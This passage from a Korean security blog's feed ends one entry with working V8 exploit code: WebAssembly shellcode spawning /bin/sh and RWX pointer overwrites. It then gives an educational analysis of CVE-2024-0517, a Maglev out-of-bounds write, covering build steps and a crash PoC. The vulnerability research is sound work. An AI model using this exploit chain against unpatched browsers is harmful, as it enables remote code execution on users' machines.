<span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">91</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">89</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">193</span><span class="p">,</span> <span class="mi">227</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">203</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">137</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">246</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">210</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">42</span><span class="p">,</span> <span class="mi">11</span>
  <span class="p">]);</span>

<span class="kd">let</span> <span class="nx">shell_wasm_module</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Module</span><span class="p">(</span><span class="nx">shell_wasm_code</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_wasm_instance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Instance</span><span class="p">(</span><span class="nx">shell_wasm_module</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_func</span> <span class="o">=</span> <span class="nx">shell_wasm_instance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">main</span><span class="p">;</span>

<span class="nx">shell_func</span><span class="p">();</span>

<span class="kd">let</span> <span class="nx">shell_wasm_instance_addr</span> <span class="o">=</span> <span class="nx">addrof</span><span class="p">(</span><span class="nx">shell_wasm_instance</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_wasm_rwx_addr</span> <span class="o">=</span> <span class="nx">v8h_read64</span><span class="p">(</span><span class="nx">shell_wasm_instance_addr</span> <span class="o">+</span> <span class="mh">0x48</span><span class="nx">n</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_func_code_addr</span> <span class="o">=</span> <span class="nx">shell_wasm_rwx_addr</span> <span class="o">+</span> <span class="mh">0xB40</span><span class="nx">n</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">shell_code_addr</span> <span class="o">=</span> <span class="nx">shell_func_code_addr</span> <span class="o">+</span> <span class="mh">0x2D</span><span class="nx">n</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">tbl</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Table</span><span class="p">({</span>
        <span class="na">initial</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
        <span class="na">element</span><span class="p">:</span> <span class="dl">"</span><span class="s2">anyfunc</span><span class="dl">"</span>
<span class="p">});</span>

<span class="kd">const</span> <span class="nx">importObject</span> <span class="o">=</span> <span class="p">{</span>
        <span class="na">imports</span><span class="p">:</span> <span class="p">{</span> <span class="na">imported_func</span> <span class="p">:</span> <span class="p">(</span><span class="nx">n</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="p">},</span>
        <span class="na">js</span><span class="p">:</span> <span class="p">{</span> <span class="nx">tbl</span> <span class="p">}</span>
<span class="p">};</span>

<span class="kd">var</span> <span class="nx">wasmCode</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">1</span><span class="p">,</span><span class="mi">15</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">125</span><span class="p">,</span>
<span class="mi">2</span><span class="p">,</span><span class="mi">36</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">95</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span>
<span class="mi">110</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">2</span><span class="p">,</span><span class="mi">106</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">98</span><span class="p">,</span><span class="mi">108</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span>
<span class="mi">3</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">7</span><span class="p">,</span><span class="mi">21</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">107</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">95</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">121</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span>
<span class="mi">10</span><span class="p">,</span><span class="mi">31</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">22</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">68</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">72</span><span class="p">,</span><span class="mi">137</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">195</span><span class="p">,</span><span class="mi">68</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span>
<span class="mi">233</span><span class="p">,</span><span class="mi">67</span><span class="p">,</span><span class="mi">26</span><span class="p">,</span><span class="mi">26</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">32</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">11</span>
<span class="p">]);</span>

<span class="kd">let</span> <span class="nx">wasmModule</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Module</span><span class="p">(</span><span class="nx">wasmCode</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">wasmInstance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Instance</span><span class="p">(</span><span class="nx">wasmModule</span><span class="p">,</span> <span class="nx">importObject</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">wasmInstance_addr</span> <span class="o">=</span> <span class="nx">addrof</span><span class="p">(</span><span class="nx">wasmInstance</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">RWX_page_pointer</span> <span class="o">=</span> <span class="nx">v8h_read64</span><span class="p">(</span><span class="nx">wasmInstance_addr</span><span class="o">+</span><span class="mh">0x48</span><span class="nx">n</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">func_make_array</span> <span class="o">=</span> <span class="nx">wasmInstance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">make_array</span><span class="p">;</span>

<span class="kd">let</span> <span class="nx">func_main</span> <span class="o">=</span> <span class="nx">wasmInstance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">main</span><span class="p">;</span>
<span class="nx">wasm_write</span><span class="p">(</span><span class="nx">wasmInstance_addr</span><span class="o">+</span><span class="mh">0x48</span><span class="nx">n</span><span class="p">,</span> <span class="nx">shell_code_addr</span><span class="p">);</span>
<span class="nx">func_main</span><span class="p">();</span>
</code></pre></div></div>

<h2 id="reference">Reference</h2>

<p><a href="https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8">CW blog - CVE-2024-0517</a></p>

<p><a href="https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/">Exodus blog - CVE-2024-0517</a></p>

<p><a href="https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9">V8 git 12.0.267.15</a></p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="V8" /><category term="V8" /><category term="1-day Exploit" /><category term="CVE-2024-0517" /><category term="English" /><summary type="html"><![CDATA[Preliminary Knowledge]]></summary></entry><entry><title type="html">CVE-2024-0517 Analysis</title><link href="https://whs-segfault.github.io/v8/2024/09/02/CVE-2024-0517-Analysis.html" rel="alternate" type="text/html" title="CVE-2024-0517 Analysis" /><published>2024-09-02T00:00:00+00:00</published><updated>2024-09-02T00:00:00+00:00</updated><id>https://whs-segfault.github.io/v8/2024/09/02/CVE-2024-0517%20Analysis</id><content type="html" xml:base="https://whs-segfault.github.io/v8/2024/09/02/CVE-2024-0517-Analysis.html"><![CDATA[<h2 id="사전-지식">사전 지식</h2>

<p>사전 지식 파트에서는 1-day exploit에 앞서 어떤 내용들을 미리 알고 들어가야하는지 몇가지 설명할 것입니다. 자세한 내용은 다른 포스트 에 올려두었으니, 여기서는 간단하게 설명하며 넘어가겠습니다.</p>

<p>V8 엔진에 대해 더 자세한 내용을 알고 싶다면 <a href="https://whs-segfault.github.io/v8/2024/08/26/Fundamental_Knowledge_V8.html">Fundamental Knowledge of V8 engine</a>  을 보면 도움이 됩니다.</p>

<p>JavaScript와 이로 만든 객체들에 대해 더 알고 싶다면 <a href="https://whs-segfault.github.io/javascript/2024/08/27/Fundamental_Knowledge_JavaScript.html">Fundamental Knowledgd of JavaScript</a> 을 보면 됩니다.</p>

<h3 id="v8이란feat-pipeline">v8이란(feat. pipeline)</h3>

<p>V8은 Chrome 브라우저에서 사용하는 C++언어로 작성된 엔진입니다. 브라우저 엔진이기 때문에, 엔진에 실행하는 코드는 JavaScript로 작성됩니다.</p>

<p>V8엔진에는 컴파일과 최적화를 위한 여러가지 구성 요소들이 있는데, 그 중 우리가 오늘 다룰 것은 Maglev라는 JIT-컴파일러입니다.</p>

<p>JIT 컴파일러가 무엇일까요? IBM에서는 이렇게 설명합니다.</p>

<blockquote>
  <p>JIT (Just-In-Time) 컴파일러는 런타임 시 바이트 코드를 원시 시스템 코드로 컴파일하여 Java™ 애플리케이션의 성능을 향상시키는 런타임 환경의 컴포넌트입니다.</p>

</blockquote>

<p>출처 : <a href="https://www.ibm.com/docs/ko/sdk-java-technology/8?topic=reference-jit-compiler">IBM - JIT 컴파일러</a></p>

<p>이 Maglev는 소스 코드를 정적 분석 후 최적화하여 머신 코드로 컴파일하는 기계입니다. v8엔진은 JaveScript 코드를 실행하면서, 이 코드 혹은 함수가 반복 실행되면서 <strong>“”Hot””</strong> 코드로 표시가 되면, 빈도의 정도에 따라 최적화 할 수준을 결정하게 됩니다.</p>

<p>이번 취약점은 이 Maglev에서 발생한 취약점이므로, 우리는 여기서 최적화가 진행 되게 할 것입니다.</p>

<h3 id="garbage-collection-of-v8">Garbage Collection of V8</h3>

<p>V8과 같이 동적으로 메모리를 할당하는 엔진들은 더 좋은 효율과 속도를 위해, 더 발전된 메모리 관리 기법이 필수적입니다. 그 중 Garbage Collection이라는 메모리 관리 기법이 있습니다. 이 기술에 대해 간단하게 말하면 <strong><em>참조가 유지되는 객체는 살아남고, 그렇지 않으면 정리합니다.</em></strong></p>

<p>이것의 구동 방식에 대해 조금 설명하면, 처음 생성되는 객체는 Young Generation의 semi-space에 할당됩니다. 이후 이 semi-space가 가득 차면 Minor GC가 실행되며, 죽거나 산 객체를 판별하여 정리합니다. 여기서 생존한 객체들은 반대쪽 semi-space로 옮겨집니다. 다시 이 semi-space가 가득 차면, 똑같은 패턴을 반복합니다. 이때 두번의 garbage collection 동안 살아남은 객체는 Old Generation으로 이동하게 됩니다.</p>

<p>이렇게 V8엔진은 객체의 참조가 유지되는지를 기준으로 생과 사를 구분하여 메모리를 관리하게 됩니다. Garbage collection은 나중에 Vulnerability에서 중요하게 작용하는 부분 중 하나이므로 프롤로그에서 설명한 포스트를 통해 더 분석하고 오는 것을 권장합니다.</p>

<h3 id="v8-sandbox--aka-ubercage-">V8 Sandbox ( a.k.a. Ubercage )</h3>

<p>V8에는 Sandbox라는 mitigation이 존재합니다.</p>

<p>이것은 사용될 수 있는 객체들을 Sandbox라는 별도의 분리된 가상 공간으로 관리합니다. 이 공간을 통해 객체에 직접 주소를 저장하는게 아닌, table의 index를 저장합니다.</p>

<p>또한 Code Pointer Sandboxing이라는 특징이 있는데, JavaScript 객체 내에 저장되어있는 code pointer를 직접 저장하는게 아닌, table의 index로 저장합니다. 이로 공격자가 해당 code pointer를 변조하여 원하는 코드 흐름을 실행하는 것을 불가능하게 만듭니다.</p>

<p>우리가 Vulnerability를 트리거하고, 취약점을 위한 준비를 모두하여도, 마지막에 이 Sandbox를 우회하지 못하면, exploit에 성공할 수 없습니다. 따라서 마지막 부분에서는 어떻게 이 mitigation을 우회할 수 있는지에 대해 설명하겠습니다.</p>

<h3 id="js-object-structure">JS object structure</h3>

<p>JavaScript는 원시값을 제외한 모든 것들은 객체로 할당됩니다. 따라서, 원시값인 String, Number, Boolean, Null, Undefined를 제외하고 모두 key와 value값으로 저장됩니다. ( string, number, boolean 은 new로 정의된 경우 객체가 될 수 있습니다. )</p>

<p>따라서 디버깅을 하며 메모리 구조를 분석하게 되면, 각 객체들은 엇비슷한 모습으로 할당되는 것을 볼 수 있는데 ( similar, NOT equal ), 이로 인해 직접 디버깅을 하며 객체 구조를 <code class="language-plaintext highlighter-rouge">%DebugPrint</code>로 비교하며 분석하는 것을 잊지 않아야 합니다.</p>

<p>아래 사진은 this객체를 <code class="language-plaintext highlighter-rouge">%DebugPrint</code>한 것과 실제로 메모리의 값들을 보여줍니다. 그러면 각각의 메모리가 Map, Properties, Elements, In-object property1, In-object property2 인 것을 쉽게 알아볼 수 있습니다. 이처럼 메모리 분석이 필요할 경우, 객체들이 어떻게 할당되는지 직접 확인해야 합니다.</p>

<center> <img src="https://github.com/user-attachments/assets/1a72416d-591d-4858-a181-f84a292548aa" /> </center>

<center> <img src="https://github.com/user-attachments/assets/e9552f41-7c9c-441d-bd24-0c8a73015bef" /> </center>

<h3 id="allocation-folding">Allocation folding</h3>

<p>이 기술은 이번 취약점을 이해하기 위해, Garbage collection 만큼이나 잘 알아야하는 것이 있다. 바로 이 Allocation folding이다. 이 기법은 더 이상 사용하지 않는 객체들을 정리하기 위한 것으로, 이를 통해 불필요한 메모리 할당을 줄이거나 제거하는 v8의 최적화 기법 중 하나이다.</p>

<center> <img src="https://github.com/user-attachments/assets/bb16d73f-8ffd-4b9d-a259-f4f3d9518615" /> </center>
<p><br /></p>

<p>예를 들어 설명하면, 그림에 나와있는 Class B와 Array a를 할당할땐 각각 1번씩 메모리에 할당하게 되어 총 2번 할당하게 됩니다. 하지만 여기서 allocation folding 기법을 사용하게 되면 class B와 Array a의 크기를 더한 값 size(x+y) 만큼의 공간을 할당한 후 Class B와 Array a가 나누어 쓰게 됩니다.</p>

<p>여기서 주의깊게 알아야 할 점은, 한번에 할당한 후 나누어쓰기 때문에, 메모리 상에서는 Array a의 위치가 Class B 다음에 위치하게 됩니다.</p>

<p>Maglev에서는 이 allocation folding을 수행하기 위해, ExtendOrReallocateCurrentRawAllocation() 이라는 함수를 호출하게 됩니다. 이 함수에 대해서는 v8 소스 코드 분석 파트에서 다루어 보도록 하겠습니다.</p>

<h2 id="환경-구성">환경 구성</h2>

<p>저희가 분석한 v8 버전은 12.0.267.15 으로, 환경 구성을 할 때, 아래 CW블로그의 글의 진행 과정에서 v8 버전만 바꾼 것입니다.</p>

<p>참고 : CW블로그에서 빌드한 버전은 개발자 버전으로, 해당 버전에서는 이 CVE-2024-0517에 대한 패치가 안되어있지만, 이전에서 설명한 V8 Sandbox ( Ubercage ) 에 대한 업데이트가 이루어 진 것으로 보입니다. 따라서, 이 시기에 사용되던 V8 exploit 방법들이 불가능할 가능성이 매우 높기 때문에, 해당 시기에 실제로 릴리즈 되었던 버전인 12.0.267.15로 빌드하는 것을 권고 드립니다.</p>

<p>V8 12.0.267.15 : <a href="https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9">https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9</a></p>

<p>CW Research - CVE-2024-0517 : <a href="https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8">https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8</a></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># install depot_tools
</span><span class="n">cd</span> <span class="o">~</span>
<span class="n">git</span> <span class="n">clone</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">chromium</span><span class="p">.</span><span class="n">googlesource</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="n">chromium</span><span class="o">/</span><span class="n">tools</span><span class="o">/</span><span class="n">depot_tools</span><span class="p">.</span><span class="n">git</span>
<span class="n">export</span> <span class="n">PATH</span><span class="o">=</span><span class="err">$</span><span class="n">HOME</span><span class="o">/</span><span class="n">depot_tools</span><span class="p">:</span><span class="err">$</span><span class="n">PATH</span>
<span class="n">echo</span> <span class="s">'export PATH=$HOME/depot_tools:$PATH'</span> <span class="o">&gt;&gt;</span> <span class="o">~/</span><span class="p">.</span><span class="n">zshrc</span>

<span class="c1"># get V8
</span><span class="n">fetch</span> <span class="n">v8</span>
<span class="n">cd</span> <span class="n">v8</span>
<span class="n">git</span> <span class="n">checkout</span> <span class="n">e73f620c2ef1230ddaa61551706225821a87c3b9</span>
<span class="n">gclient</span> <span class="n">sync</span> <span class="o">-</span><span class="n">D</span>

<span class="c1"># build V8
</span><span class="p">.</span><span class="o">/</span><span class="n">build</span><span class="o">/</span><span class="n">install</span><span class="o">-</span><span class="n">build</span><span class="o">-</span><span class="n">deps</span><span class="p">.</span><span class="n">sh</span>
<span class="n">gn</span> <span class="n">gen</span> <span class="n">out</span><span class="o">/</span><span class="n">debug</span> <span class="o">--</span><span class="n">args</span><span class="o">=</span><span class="s">'v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'</span>
<span class="n">ninja</span> <span class="o">-</span><span class="n">C</span> <span class="n">out</span><span class="o">/</span><span class="n">debug</span> <span class="n">d8</span>
<span class="p">.</span><span class="o">/</span><span class="n">tools</span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">gm</span><span class="p">.</span><span class="n">py</span> <span class="n">x64</span><span class="p">.</span><span class="n">release</span>

<span class="c1"># install gdb plugin
</span><span class="n">echo</span> <span class="s">'source ~/v8/tools/gdbinit'</span> <span class="o">&gt;&gt;</span> <span class="o">~/</span><span class="p">.</span><span class="n">gdbinit</span>
</code></pre></div></div>

<h2 id="취약점-분석">취약점 분석</h2>

<h3 id="proof-of-concept">Proof of Concept</h3>

<p>이제 이번 CVE-2024-0517으로 패치된 취약점에 대해 분석할 것입니다.</p>

<p>이번 취약점은 v8엔진의 JIT 컴파일러 중 하나인 maglev가 최적화한 코드를 실행하면서 발생합니다. 이 코드 중 자식 생성자가 객체를 생성할 때, 초기화 되지 않은 Current_raw_allocation 값으로 인해, 객체의 OOB write가 발생합니다.</p>

<p>아래의 JavaScript 코드는 이번 취약점을 실행시키는 코드 중 일부입니다. PoC코드를 실행하면, 다음과 같은 에러가 나옵니다. 해당 에러는 free-space라는 곳을 무언가가 덮어서, 그것을 확인하게 되었을 때, Fatal error 및 프로그램을 종료시키게 됩니다.</p>

<p>해당 코드와 오류 메시지는 다음과 같습니다 :</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nx">ClassParent</span> <span class="p">{}</span>
<span class="kd">class</span> <span class="nx">ClassBug</span> <span class="kd">extends</span> <span class="nx">ClassParent</span> <span class="p">{</span>
        <span class="kd">constructor</span><span class="p">(</span><span class="nx">a20</span><span class="p">,</span> <span class="nx">a21</span><span class="p">,</span> <span class="nx">a22</span><span class="p">)</span> <span class="p">{</span>
                <span class="kd">const</span> <span class="nx">v24</span> <span class="o">=</span> <span class="k">new</span> <span class="k">new</span><span class="p">.</span><span class="nx">target</span><span class="p">();</span>
                <span class="kd">let</span> <span class="nx">x</span> <span class="o">=</span> <span class="p">[</span><span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">];</span>
                <span class="k">super</span><span class="p">();</span>
                <span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">[</span><span class="mf">1.1</span><span class="p">];</span>
                <span class="k">this</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="nx">x</span><span class="p">;</span>
                <span class="k">this</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">a</span><span class="p">;</span>
                <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">empty_array</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dogc</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~</span><span class="sr">/v8/</span><span class="nx">out$</span> <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span> <span class="o">--</span><span class="nx">allow</span><span class="o">-</span><span class="nx">natives</span><span class="o">-</span><span class="nx">syntax</span> <span class="p">.</span><span class="o">/</span><span class="nx">code</span><span class="o">/</span><span class="nx">exploit</span><span class="p">.</span><span class="nx">js</span>

<span class="err">#</span>
<span class="err">#</span> <span class="nx">Fatal</span> <span class="nx">error</span> <span class="k">in</span> <span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="nx">src</span><span class="o">/</span><span class="nx">objects</span><span class="o">/</span><span class="nx">free</span><span class="o">-</span><span class="nx">space</span><span class="o">-</span><span class="nx">inl</span><span class="p">.</span><span class="nx">h</span><span class="p">,</span> <span class="nx">line</span> <span class="mi">75</span>
<span class="err">#</span> <span class="nx">Check</span> <span class="nx">failed</span><span class="p">:</span> <span class="o">!</span><span class="nx">heap</span><span class="o">-&gt;</span><span class="nx">deserialization_complete</span><span class="p">()</span> <span class="o">||</span> <span class="nx">map_slot</span><span class="p">().</span><span class="nx">contains_map_value</span><span class="p">(</span><span class="nx">free_space_map</span><span class="p">.</span><span class="nx">ptr</span><span class="p">()).</span>
<span class="err">#</span>
<span class="err">#</span>
<span class="err">#</span>
<span class="err">#</span><span class="nx">FailureMessage</span> <span class="nb">Object</span><span class="p">:</span> <span class="mh">0x7ffe9d485188</span>
<span class="o">====</span> <span class="nx">C</span> <span class="nx">stack</span> <span class="nx">trace</span> <span class="o">===============================</span>

    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">v8</span><span class="p">::</span><span class="nx">base</span><span class="p">::</span><span class="nx">debug</span><span class="p">::</span><span class="nx">StackTrace</span><span class="p">::</span><span class="nx">StackTrace</span><span class="p">()</span><span class="o">+</span><span class="mh">0x1e</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae47a7fde</span><span class="p">]</span>
    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="o">+</span><span class="mh">0x8c0960d</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae47a260d</span><span class="p">]</span>
